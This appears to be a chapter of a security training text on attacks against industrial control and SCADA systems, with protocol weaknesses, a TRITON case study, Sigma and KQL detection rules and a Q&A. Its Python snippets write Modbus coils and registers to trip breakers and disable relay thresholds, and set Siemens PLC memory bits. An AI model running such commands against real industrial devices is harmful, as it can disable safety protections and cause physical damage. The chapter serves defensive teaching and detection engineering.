Chapter 224

ICS/SCADA Attacks

Industrial Control Systems (ICS) and SCADA environments control physical infrastructure — power grids, water treatment, oil pipelines, manufacturing. Unlike IT networks, availability outweighs confidentiality and systems cannot be patched without production downtime. This creates a persistent attack surface exploited by nation-state actors using purpose-built malware (Stuxnet, TRITON, INDUSTROYER) and commodity tooling targeting exposed Modbus, DNP3, and OPC-UA services.

Scenario

An APT actor compromises the IT network of a utility company via spearphishing. They pivot to the OT historian server (which bridges IT and OT segments), then laterally move to the SCADA workstation. From there they issue Modbus write commands to relay protection units, targeting a forced power-generation trip — replicating the INDUSTROYER/CRASHOVERRIDE mechanism.

ICS/SCADA Architecture

PURDUE MODEL — ICS NETWORK SEGMENTATION ════════════════════════════════════════════════════════════════════════ Level 4: Enterprise IT (ERP, email, corporate AD) │ ← Firewall (DMZ) ← most breaches start here Level 3: Operations/SCADA Network (historian, HMI management servers) │ ← Data diode / firewall (often poorly enforced) ← Level 2: Control Center (SCADA servers, operator HMIs) │ Level 1: Control Network (PLCs, RTUs, IEDs) │ Level 0: Field Devices (sensors, actuators, valves, breakers) Typical attack path: Spearphish → L4 workstation → pivot to L3 historian (SQL/RDP) → L2 SCADA HMI → issue protocol commands to L1 PLCs/RTUs Air gap myth: historians and remote access solutions routinely bridge L3-L4; VPN/RDP sessions from field technicians frequently bypass all segmentation ════════════════════════════════════════════════════════════════════════

Industrial Protocols

ProtocolPortUseSecurity weakness
Modbus TCP502/TCPPLC read/write coils, registersNo authentication, no encryption, no source IP validation
DNP320000/TCPUtility SCADA, RTU pollingNo authentication in base spec; DNP3 SA (Secure Auth v5) rarely deployed
EtherNet/IP (CIP)44818/TCPAllen-Bradley PLCsNo encryption; CIP Explicit Messaging writes accepted from any host
OPC-UA4840/TCPHistorian integration, data bridgingOften deployed with anonymous authentication; broad read/write access
IEC 61850 (GOOSE)UDP multicastSubstation automationGOOSE/SV spoofing: no auth on L2 multicast; physical access = full control
S7comm102/TCPSiemens S7 PLCs (Stuxnet target)No auth on older S7-300/400; block read/write without credentials

Attack Techniques

# Modbus reconnaissance and exploitation (pymodbus):
from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('192.168.100.50', port=502)
client.connect()

# Read coil register 0 (digital output — relay/breaker state):
result = client.read_coils(0, count=8, slave=1)
print(f"Coils: {result.bits}")

# Read holding registers 0-9 (analog setpoints, e.g. protection thresholds):
result = client.read_holding_registers(0, count=10, slave=1)
print(f"Registers: {result.registers}")

# WRITE coil 0 to FALSE — open a digital output (trip a breaker):
client.write_coil(0, False, slave=1)

# WRITE holding register 5 — modify protection relay setpoint:
client.write_register(5, 0x0000, slave=1)  # zero = disable threshold

client.close()
# S7comm reconnaissance with python-snap7:
import snap7
from snap7.util import get_bool, set_bool, get_int

plc = snap7.client.Client()
plc.connect('192.168.1.10', 0, 1)  # IP, rack, slot
info = plc.get_cpu_info()
print(f"Module: {info.ModuleTypeName.decode()}")
print(f"SN: {info.SerialNumber.decode()}")

# Read Data Block 1, starting at byte 0, 4 bytes:
data = plc.db_read(1, 0, 4)
print(f"DB1 first 4 bytes: {data.hex()}")

# Write to coil M0.0 (memory bit — starts a sequence):
marker = plc.mb_read(0, 1)
set_bool(marker, 0, 0, True)
plc.mb_write(0, marker)
plc.disconnect()

TRITON/TRISIS Dissection

TRITON (2017 — Saudi Aramco Petro Rabigh) — Targeting Safety Instrumented Systems ════════════════════════════════════════════════════════════════════════════════════ Target: Schneider Electric Triconex Safety PLC (TCP 1502 — TriStation protocol) Stage 1 — IT pivot: VPN → Engineering workstation (Windows) → had direct UDP/TCP to SIS PLC Stage 2 — Custom TriStation library (tristation.py): Reverse-engineered TriStation protocol (no public spec) Read/write/execute functions for Triconex SIS controllers Stage 3 — Malicious SIS program injection: Injected trojanized function blocks into SIS program memory Planted to: disable safety shutdowns when ICS payload triggers damage Stage 4 — Caught because of programming error: Safety controller detected memory fault → failed to safe state (automatic trip) This inadvertent trip caused operators to investigate → malware discovered DETECTION INDICATORS: - TriStation protocol traffic from ANY non-designated engineering workstation - SIS program upload/download outside maintenance windows - TriStation comms on non-standard ports (1502 is the only legitimate port) - Windows IME (imewdbld.exe) persistence — TRITON used it for staging LESSON: Physical process trips are the most reliable ICS anomaly indicators; safety controllers that fail to safe are forensic evidence of tampering ════════════════════════════════════════════════════════════════════════════════════

Detection Engineering

title: Modbus Write Command to Coil or Register (Unauthorized Source)
description: >
  Detects Modbus write function codes (FC05, FC06, FC15, FC16) from
  hosts outside the authorized engineering workstation IP list.
logsource:
  product: zeek
  service: modbus
detection:
  selection:
    func_code|in:
      - 5    # Write Single Coil
      - 6    # Write Single Register
      - 15   # Write Multiple Coils
      - 16   # Write Multiple Registers
  filter_authorized:
    src_ip|contains:
      - '10.100.1.50'   # designated HMI workstations
      - '10.100.1.51'
  condition: selection and not filter_authorized
level: critical
tags: [attack.impact, T0855]   # T0855 Unauthorized Command Message

title: S7comm Program Block Download to PLC
logsource:
  product: zeek
  service: s7comm
detection:
  selection:
    func: 'download'
    block_type|in: ['OB','FC','FB','DB']
  condition: selection
level: high
tags: [attack.impact, T0839]   # T0839 Module Firmware

-- MDE KQL: Lateral movement from IT to OT historian (SQL/RDP pivot indicator)
DeviceNetworkEvents
| where RemotePort in (1433, 3389, 4840)  // MSSQL, RDP, OPC-UA
| where RemoteIPType == "Private"
| join kind=inner (
    DeviceInfo
    | where DeviceCategory == "Server"
    | where DeviceName has_any ("historian","scada","hmi","opc")
  ) on $left.RemoteIP == $right.PublicIP
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName

Q&A

TRITON targeted a Safety Instrumented System (SIS) rather than the operational technology controlling the physical process. What is the strategic reason for targeting the SIS specifically, and how does this influence detection strategy differently from targeting the DCS or PLC?

A Safety Instrumented System is an independent layer designed to automatically return a process to a safe state if it detects hazardous conditions — high pressure, temperature runaway, flammable gas concentration, abnormal flow rates. The SIS operates independently of the Distributed Control System (DCS) that controls normal operations: even if an attacker has fully compromised the DCS and can force hazardous operating conditions, an intact SIS will detect those conditions and trigger an automatic shutdown (trip) that prevents physical damage or injury. This is the architectural defense-in-depth principle: compromise the DCS → SIS catches it → no physical damage.

TRITON's strategic goal was to disable the SIS first, so that a subsequent DCS attack could cause physical damage without the safety layer intervening. The attacker would inject malware into the SIS that silently disables its trip logic, then execute the DCS-side process attack knowing the safety system would not respond. This represents a two-stage physical attack chain — "blind the safety net, then swing the axe" — and it is what distinguishes nation-state ICS attacks from commodity ransomware: the goal is physical destruction or injury, not data theft.

The detection implication is that SIS traffic must be treated as higher-fidelity than DCS traffic. Any TriStation protocol traffic from a non-designated engineering workstation is anomalous by definition — there is no legitimate reason for a standard IT-side host to communicate with a SIS controller. Detection rules for SIS should alert immediately on new source IPs, new session types, or program upload/download events — with no baseline suppression period. For DCS/PLC traffic, some level of write activity is expected from HMIs; for SIS traffic, any write from a non-whitelisted source is critical. The ICS ATT&CK framework (ICS-MITRE) codifies SIS-targeting techniques at tactics TA0103 (Inhibit Response Function) and technique T0838 (Modify Alarm Settings), providing structured detection mapping.